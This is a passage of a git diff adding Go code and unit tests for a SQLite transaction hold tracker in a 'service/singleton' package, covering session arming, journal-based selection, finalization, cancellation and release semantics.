notifySQLiteHoldLocked() { + close(tracker.session.notify) + tracker.session.notify = make(chan struct{}) +} + +func (tracker *SQLiteHoldTracker) abortSQLiteHoldLocked(cause error) { + tracker.abortSQLiteHoldWithCandidatesLocked(cause, nil) +} + +func (tracker *SQLiteHoldTracker) abortSQLiteHoldWithCandidatesLocked(cause error, candidates []SQLiteTransaction) { + tracker.setAttributionEnabledLocked(false) + if tracker.session.finalization != nil { + tracker.session.finalization.err = cause + close(tracker.session.finalization.done) + } + if tracker.session.hasSelected { + tracker.causes[tracker.session.selected] = cause + } + for _, transaction := range candidates { + tracker.causes[transaction] = cause + } + tracker.terminal = &sqliteHoldTerminalState{id: tracker.session.id, selected: tracker.session.selected, hasSelected: tracker.session.hasSelected, cause: cause} + tracker.notifySQLiteHoldLocked() + tracker.session = nil +} + +func (tracker *SQLiteHoldTracker) setAttributionEnabledLocked(enabled bool) { + if tracker.attributionEnabled == nil { + return + } + // Attribution is hold-scoped because ordinary GORM RETURNING closes rows before EOF. + tracker.attributionEnabled.Store(enabled) +} diff --git a/service/singleton/sqlite_hold_tracker_finalization_context_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_finalization_context_agentcompat_linux_test.go new file mode 100644 index 00000000..6a2489e1 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_finalization_context_agentcompat_linux_test.go @@ -0,0 +1,75 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "errors" + "testing" +) + +func TestSQLiteHoldTrackerCommitFinalizationCancellationAbortsUnreleasedHold(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(202) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteCommitFinalization(transaction) + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + // When + waitErr := tracker.WaitSQLiteCommitFinalization(ctx, finalization) + releaseErr := tracker.ReleaseSQLiteHold(session) + + // Then + if !errors.Is(waitErr, context.Canceled) { + t.Fatalf("cancelled finalization wait error = %v", waitErr) + } + if !errors.Is(finalization.Wait(), ErrSQLiteHoldAborted) { + t.Fatalf("finalization after cancellation = %v", finalization.Wait()) + } + if !errors.Is(releaseErr, ErrSQLiteHoldStaleSession) { + t.Fatalf("release after cancellation-owned abort = %v", releaseErr) + } +} + +func TestSQLiteHoldTrackerCommitFinalizationReleaseWinsOverAlreadyCancelledContext(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(203) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteCommitFinalization(transaction) + if err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + // When + waitErr := tracker.WaitSQLiteCommitFinalization(ctx, finalization) + + // Then + if waitErr != nil { + t.Fatalf("released finalization lost to already-cancelled context: %v", waitErr) + } +} diff --git a/service/singleton/sqlite_hold_tracker_finalization_wait_agentcompat_linux.go b/service/singleton/sqlite_hold_tracker_finalization_wait_agentcompat_linux.go new file mode 100644 index 00000000..09c6d5f6 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_finalization_wait_agentcompat_linux.go @@ -0,0 +1,33 @@ +//go:build agentcompat && linux + +package singleton + +import "context" + +// WaitSQLiteCommitFinalization linearizes cancellation against release under the tracker lock. +func (tracker *SQLiteHoldTracker) WaitSQLiteCommitFinalization(ctx context.Context, finalization *SQLiteHoldFinalization) error { + for { + tracker.mu.Lock() + select { + case <-finalization.done: + err := finalization.err + tracker.mu.Unlock() + return err + default: + } + if err := ctx.Err(); err != nil { + if tracker.session != nil && tracker.session.finalization == finalization && !tracker.session.released { + tracker.abortSQLiteHoldLocked(ErrSQLiteHoldAborted) + } + tracker.mu.Unlock() + return err + } + done := finalization.done + tracker.mu.Unlock() + select { + case <-done: + return finalization.err + case <-ctx.Done(): + } + } +} diff --git a/service/singleton/sqlite_hold_tracker_recording_agentcompat_linux.go b/service/singleton/sqlite_hold_tracker_recording_agentcompat_linux.go new file mode 100644 index 00000000..9b41c203 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_recording_agentcompat_linux.go @@ -0,0 +1,113 @@ +//go:build agentcompat && linux + +package singleton + +func (tracker *SQLiteHoldTracker) BeginSQLiteTransaction(transaction SQLiteTransaction) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if _, active := tracker.transactions[transaction]; active { + return ErrSQLiteHoldTransactionActive + } + tracker.transactions[transaction] = &sqliteHeldTransaction{transaction: transaction} + return nil +} + +func (tracker *SQLiteHoldTracker) RecordSQLiteExecution(transaction SQLiteTransaction, origin SQLiteExecutionOrigin) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + held, ok := tracker.transactionLocked(transaction) + if !ok { + return ErrSQLiteHoldNotSelected + } + if held.finalizing { + return ErrSQLiteHoldFinalizationStarted + } + if held.hasWrite { + return ErrSQLiteHoldAtomicWriteRecorded + } + if tracker.activeSessionHasSelectedTransactionLocked(transaction) { + return ErrSQLiteHoldEvidenceFrozen + } + held.origin = origin + return nil +} + +func (tracker *SQLiteHoldTracker) RecordSQLiteUpdate(transaction SQLiteTransaction, update SQLiteUpdateObservation) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + held, ok := tracker.transactionLocked(transaction) + if !ok { + return ErrSQLiteHoldNotSelected + } + if held.finalizing { + return ErrSQLiteHoldFinalizationStarted + } + if held.hasWrite { + return ErrSQLiteHoldAtomicWriteRecorded + } + if tracker.activeSessionHasSelectedTransactionLocked(transaction) { + return ErrSQLiteHoldEvidenceFrozen + } + held.update, held.hasUpdate = update, true + if tracker.session != nil && !tracker.session.released && tracker.isEligibleLocked(held) { + return tracker.selectSQLiteHoldLocked(transaction) + } + return nil +} + +func (tracker *SQLiteHoldTracker) RecordSQLiteWrite(transaction SQLiteTransaction, write SQLiteWriteObservation) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + held, ok := tracker.transactionLocked(transaction) + if !ok { + return ErrSQLiteHoldNotSelected + } + if held.finalizing { + return ErrSQLiteHoldFinalizationStarted + } + if held.hasWrite { + return nil + } + if tracker.activeSessionHasSelectedTransactionLocked(transaction) { + return ErrSQLiteHoldEvidenceFrozen + } + held.write, held.hasWrite = write, true + held.origin, held.update, held.hasUpdate = write.Origin, write.Update, true + if tracker.session != nil && !tracker.session.released && tracker.isEligibleLocked(held) { + return tracker.selectSQLiteHoldLocked(transaction) + } + return nil +} + +func (tracker *SQLiteHoldTracker) FinishSQLiteTransaction(transaction SQLiteTransaction) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if _, ok := tracker.transactionLocked(transaction); !ok { + return ErrSQLiteHoldNotSelected + } + delete(tracker.transactions, transaction) + defer delete(tracker.causes, transaction) + defer delete(tracker.terminalArbitrations, transaction) + if tracker.session != nil && tracker.session.hasSelected && tracker.session.selected == transaction { + if tracker.session.released { + tracker.terminal = &sqliteHoldTerminalState{id: tracker.session.id, selected: transaction, hasSelected: true, released: true} + tracker.notifySQLiteHoldLocked() + tracker.session = nil + } else { + tracker.abortSQLiteHoldLocked(ErrSQLiteHoldAborted) + } + } + return nil +} + +func (tracker *SQLiteHoldTracker) transactionLocked(transaction SQLiteTransaction) (*sqliteHeldTransaction, bool) { + held, ok := tracker.transactions[transaction] + return held, ok +} + +func (tracker *SQLiteHoldTracker) isEligibleLocked(held *sqliteHeldTransaction) bool { + if !held.hasUpdate || held.finalizing { + return false + } + return tracker.session.mode == SQLiteHoldSelectionModeNextWriter || held.update.Journal == tracker.session.journal +} diff --git a/service/singleton/sqlite_hold_tracker_regression_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_regression_agentcompat_linux_test.go new file mode 100644 index 00000000..506b9644 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_regression_agentcompat_linux_test.go @@ -0,0 +1,228 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "testing" +) + +func sqliteHoldTestTransactionOnConnection(connection SQLiteConnectionIdentity, id SQLiteTransactionIdentity) SQLiteTransaction { + return SQLiteTransaction{Connection: connection, Identity: id} +} + +func TestSQLiteHoldTrackerTracksSameTransactionIdentityAcrossConnections(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransactionOnConnection(3, 31) + second := sqliteHoldTestTransactionOnConnection(4, 31) + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + } + + // When + _, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + + // Then + if !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("expected both connections to be tracked, got %v", err) + } +} + +func TestSQLiteHoldTrackerRejectsExactDuplicateTransaction(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransactionOnConnection(3, 32) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + err := tracker.BeginSQLiteTransaction(transaction) + + // Then + if !errors.Is(err, ErrSQLiteHoldTransactionActive) { + t.Fatalf("expected duplicate composite rejection, got %v", err) + } +} + +func TestSQLiteHoldTrackerFreezesSelectedMetadataAfterFinalization(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(33) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteExecution(transaction, SQLiteExecutionOrigin{ + Operation: SQLiteOperationInsert, Table: "initial", StackHash: 44, FirstNezhaFrame: "singleton.initial", + }); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationInsert, Table: "initial", Journal: sqliteHoldTestJournal, + }); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + + // When + executionErr := tracker.RecordSQLiteExecution(transaction, SQLiteExecutionOrigin{ + Operation: SQLiteOperationDelete, Table: "changed", StackHash: 45, FirstNezhaFrame: "singleton.changed", + }) + updateErr := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationDelete, Table: "changed", Journal: SQLiteJournalIdentity{Inode: 99}, + }) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if !errors.Is(executionErr, ErrSQLiteHoldFinalizationStarted) || !errors.Is(updateErr, ErrSQLiteHoldFinalizationStarted) { + t.Fatalf("execution=%v update=%v", executionErr, updateErr) + } + if snapshotErr != nil { + t.Fatal(snapshotErr) + } + if snapshot.Operation != SQLiteOperationInsert || snapshot.Table != "initial" || snapshot.StackHash != 44 || + snapshot.FirstNezhaFrame != "singleton.initial" || snapshot.Journal != sqliteHoldTestJournal { + t.Fatalf("finalizing metadata changed: %+v", snapshot) + } +} + +func TestSQLiteHoldTrackerRejectsSelectedReleaseBeforeFinalizationThenCompletes(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(34) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + + // When + releaseErr := tracker.ReleaseSQLiteHold(session) + finalization, finalizationErr := tracker.BeginSQLiteFinalization(transaction) + + // Then + if !errors.Is(releaseErr, ErrSQLiteHoldFinalizationNotStarted) || finalizationErr != nil { + t.Fatalf("release=%v finalization=%v", releaseErr, finalizationErr) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerCompletesSecondLifecycleAfterReleasedCleanup(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(35) + if err := tracker.BeginSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, first) + firstSession, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + firstFinalization, err := tracker.BeginSQLiteFinalization(first) + if err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(firstSession); err != nil { + t.Fatal(err) + } + if err := firstFinalization.Wait(); err != nil { + t.Fatal(err) + } + if err := tracker.FinishSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + second := sqliteHoldTestTransaction(36) + if err := tracker.BeginSQLiteTransaction(second); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, second) + + // When + secondSession, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + secondFinalization, finalizationErr := tracker.BeginSQLiteFinalization(second) + + // Then + if err != nil || finalizationErr != nil { + t.Fatalf("arm=%v finalization=%v", err, finalizationErr) + } + if err := tracker.ReleaseSQLiteHold(secondSession); err != nil { + t.Fatal(err) + } + if err := secondFinalization.Wait(); err != nil { + t.Fatal(err) + } + if err := tracker.FinishSQLiteTransaction(second); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerFreezesLegacyEvidenceWhenSelected(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(37) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + originalOrigin := SQLiteExecutionOrigin{ + Operation: SQLiteOperationInsert, Table: "original", StackHash: 46, FirstNezhaFrame: "singleton.original", + } + if err := tracker.RecordSQLiteExecution(transaction, originalOrigin); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationInsert, Table: "original", Journal: sqliteHoldTestJournal, + }); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + + // When + executionErr := tracker.RecordSQLiteExecution(transaction, SQLiteExecutionOrigin{ + Operation: SQLiteOperationDelete, Table: "changed", StackHash: 47, FirstNezhaFrame: "singleton.changed", + }) + updateErr := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationDelete, Table: "changed", Journal: SQLiteJournalIdentity{Inode: 94}, + }) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + finalization, finalizationErr := tracker.BeginSQLiteFinalization(transaction) + + // Then + if !errors.Is(executionErr, ErrSQLiteHoldEvidenceFrozen) || !errors.Is(updateErr, ErrSQLiteHoldEvidenceFrozen) { + t.Fatalf("execution=%v update=%v", executionErr, updateErr) + } + if snapshotErr != nil || finalizationErr != nil { + t.Fatalf("snapshot=%v finalization=%v", snapshotErr, finalizationErr) + } + if snapshot.Operation != SQLiteOperationInsert || snapshot.Table != "original" || snapshot.StackHash != 46 || + snapshot.FirstNezhaFrame != "singleton.original" || snapshot.Journal != sqliteHoldTestJournal { + t.Fatalf("selected legacy evidence changed: %+v", snapshot) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} diff --git a/service/singleton/sqlite_hold_tracker_review_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_review_agentcompat_linux_test.go new file mode 100644 index 00000000..90869ebc --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_review_agentcompat_linux_test.go @@ -0,0 +1,141 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "errors" + "os" + "os/exec" + "testing" + "time" +) + +func TestMain(m *testing.M) { + if os.Getenv("NEZHA_SQLITE_HOLD_INVALID_TARGET_HELPER") == "1" { + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + os.Exit(2) + } + _, waitErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitTarget(99)) + if !errors.Is(waitErr, ErrSQLiteHoldInvalidWaitTarget) { + os.Exit(3) + } + os.Exit(0) + } + os.Exit(m.Run()) +} + +func TestSQLiteHoldTrackerWaitRejectsInvalidTargetImmediately(t *testing.T) { + + // Given + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + command := exec.CommandContext(ctx, os.Args[0], "-test.run=^TestSQLiteHoldTrackerWaitRejectsInvalidTargetImmediately$") + command.Env = append(os.Environ(), "NEZHA_SQLITE_HOLD_INVALID_TARGET_HELPER=1") + + // When + err := command.Run() + + // Then + if err != nil { + t.Fatalf("invalid target helper did not return before watchdog deadline: %v", err) + } +} + +func TestSQLiteHoldTrackerRecordsAmbiguityForEveryFutureConflictCandidate(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + _, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + first, second, mismatch := sqliteHoldTestTransaction(81), sqliteHoldTestTransaction(82), sqliteHoldTestTransaction(83) + for _, transaction := range []SQLiteTransaction{first, second, mismatch} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + } + if err := tracker.RecordSQLiteUpdate(first, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(mismatch, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: SQLiteJournalIdentity{Inode: 84}}); err != nil { + t.Fatal(err) + } + + // When + duplicateErr := tracker.RecordSQLiteUpdate(second, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal}) + _, firstErr := tracker.BeginSQLiteCommitFinalization(first) + _, secondErr := tracker.BeginSQLiteCommitFinalization(second) + _, mismatchErr := tracker.BeginSQLiteCommitFinalization(mismatch) + + // Then + if !errors.Is(duplicateErr, ErrSQLiteHoldAmbiguousCandidate) || !errors.Is(firstErr, ErrSQLiteHoldAmbiguousCandidate) || !errors.Is(secondErr, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("duplicate=%v first=%v second=%v", duplicateErr, firstErr, secondErr) + } + if !errors.Is(mismatchErr, ErrSQLiteHoldNotSelected) { + t.Fatalf("mismatched transaction cause = %v", mismatchErr) + } +} + +func TestSQLiteHoldTrackerRecordsAmbiguityForEveryArmTimeConflictCandidate(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first, second, mismatch := sqliteHoldTestTransaction(85), sqliteHoldTestTransaction(86), sqliteHoldTestTransaction(87) + for _, transaction := range []SQLiteTransaction{first, second, mismatch} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + } + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + } + if err := tracker.RecordSQLiteUpdate(mismatch, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: SQLiteJournalIdentity{Inode: 88}}); err != nil { + t.Fatal(err) + } + + // When + _, armErr := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + _, firstErr := tracker.BeginSQLiteCommitFinalization(first) + _, secondErr := tracker.BeginSQLiteCommitFinalization(second) + _, mismatchErr := tracker.BeginSQLiteCommitFinalization(mismatch) + + // Then + if !errors.Is(armErr, ErrSQLiteHoldAmbiguousCandidate) || !errors.Is(firstErr, ErrSQLiteHoldAmbiguousCandidate) || !errors.Is(secondErr, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("arm=%v first=%v second=%v", armErr, firstErr, secondErr) + } + if !errors.Is(mismatchErr, ErrSQLiteHoldNotSelected) { + t.Fatalf("mismatched transaction cause = %v", mismatchErr) + } +} + +func TestSQLiteHoldTrackerFinishDeletesAmbiguityCause(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first, second := sqliteHoldTestTransaction(89), sqliteHoldTestTransaction(90) + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + } + if _, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal); !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatal(err) + } + + // When + if err := tracker.FinishSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + _, lookupErr := tracker.BeginSQLiteCommitFinalization(first) + + // Then + if !errors.Is(lookupErr, ErrSQLiteHoldNotSelected) { + t.Fatalf("finished transaction ambiguity cause = %v", lookupErr) + } +} diff --git a/service/singleton/sqlite_hold_tracker_selection_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_selection_agentcompat_linux_test.go new file mode 100644 index 00000000..c56de317 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_selection_agentcompat_linux_test.go @@ -0,0 +1,265 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "testing" +) + +func TestSQLiteHoldTrackerAbortsSessionWhenFutureDuplicateArrives(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(12) + if err := tracker.BeginSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, first) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + second := sqliteHoldTestTransaction(13) + if err := tracker.BeginSQLiteTransaction(second); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteUpdate(second, SQLiteUpdateObservation{ + Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal, + }) + + // Then + if !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("expected ambiguous candidate error, got %v", err) + } + if err := tracker.ReleaseSQLiteHold(session); !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale session after duplicate candidate, got %v", err) + } + if _, err := tracker.BeginSQLiteFinalization(first); !errors.Is(err, ErrSQLiteHoldNotSelected) { + t.Fatalf("expected aborted session, got %v", err) + } +} + +func TestSQLiteHoldTrackerRejectsRepeatedRelease(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(21) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + + // When + err = tracker.ReleaseSQLiteHold(session) + + // Then + if !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale repeated release, got %v", err) + } +} + +func TestSQLiteHoldTrackerRejectsReleaseBeforeFinalization(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + + // When + err = tracker.ReleaseSQLiteHold(session) + + // Then + if !errors.Is(err, ErrSQLiteHoldFinalizationNotStarted) { + t.Fatalf("expected finalization-not-started error, got %v", err) + } +} + +func TestSQLiteHoldTrackerRejectsAbortAfterRelease(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(14) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteFinalization(transaction) + if err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + + // When + err = tracker.AbortSQLiteHold(session) + + // Then + if !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale session error, got %v", err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerIgnoresFutureCandidateAfterRelease(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(15) + if err := tracker.BeginSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, first) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteFinalization(first) + if err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + second := sqliteHoldTestTransaction(16) + if err := tracker.BeginSQLiteTransaction(second); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteUpdate(second, SQLiteUpdateObservation{ + Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal, + }) + + // Then + if err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerDoesNotMatchJournalWithDifferentMountOrBirthTime(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + journal := SQLiteJournalIdentity{MountID: 2, DeviceMajor: 8, DeviceMinor: 1, Inode: 13, BirthSeconds: 10, BirthNanoseconds: 20} + transaction := sqliteHoldTestTransaction(17) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationInsert, Table: "settings", Journal: SQLiteJournalIdentity{ + MountID: 3, DeviceMajor: 8, DeviceMinor: 1, Inode: 13, BirthSeconds: 10, BirthNanoseconds: 20, + }, + }); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmSQLiteHold(journal) + + // Then + if err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); !errors.Is(err, ErrSQLiteHoldNotSelected) { + t.Fatalf("expected mount mismatch not to select, got %v", err) + } + if err := tracker.AbortSQLiteHold(session); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerDoesNotMatchJournalWithDifferentBirthTime(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + journal := SQLiteJournalIdentity{MountID: 2, DeviceMajor: 8, DeviceMinor: 1, Inode: 13, BirthSeconds: 10, BirthNanoseconds: 20} + transaction := sqliteHoldTestTransaction(18) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationDelete, Table: "settings", Journal: SQLiteJournalIdentity{ + MountID: 2, DeviceMajor: 8, DeviceMinor: 1, Inode: 13, BirthSeconds: 10, BirthNanoseconds: 21, + }, + }); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmSQLiteHold(journal) + + // Then + if err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); !errors.Is(err, ErrSQLiteHoldNotSelected) { + t.Fatalf("expected birth-time mismatch not to select, got %v", err) + } + if err := tracker.AbortSQLiteHold(session); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerRejectsDuplicateTransactionIdentity(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(19) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + err := tracker.BeginSQLiteTransaction(transaction) + + // Then + if !errors.Is(err, ErrSQLiteHoldTransactionActive) { + t.Fatalf("expected transaction-active error, got %v", err) + } +} + +func TestSQLiteHoldTrackerSelectsDeleteOperation(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(20) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationDelete, Table: "settings", Journal: sqliteHoldTestJournal, + }); err != nil { + t.Fatal(err) + } + + // When + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + finalization, finalizationErr := tracker.BeginSQLiteFinalization(transaction) + + // Then + if err != nil || finalizationErr != nil { + t.Fatalf("arm=%v finalization=%v", err, finalizationErr) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} diff --git a/service/singleton/sqlite_hold_tracker_terminal_arbiter_agentcompat_linux.go b/service/singleton/sqlite_hold_tracker_terminal_arbiter_agentcompat_linux.go new file mode 100644 index 00000000..5fb5c133 --- /dev/null +++ 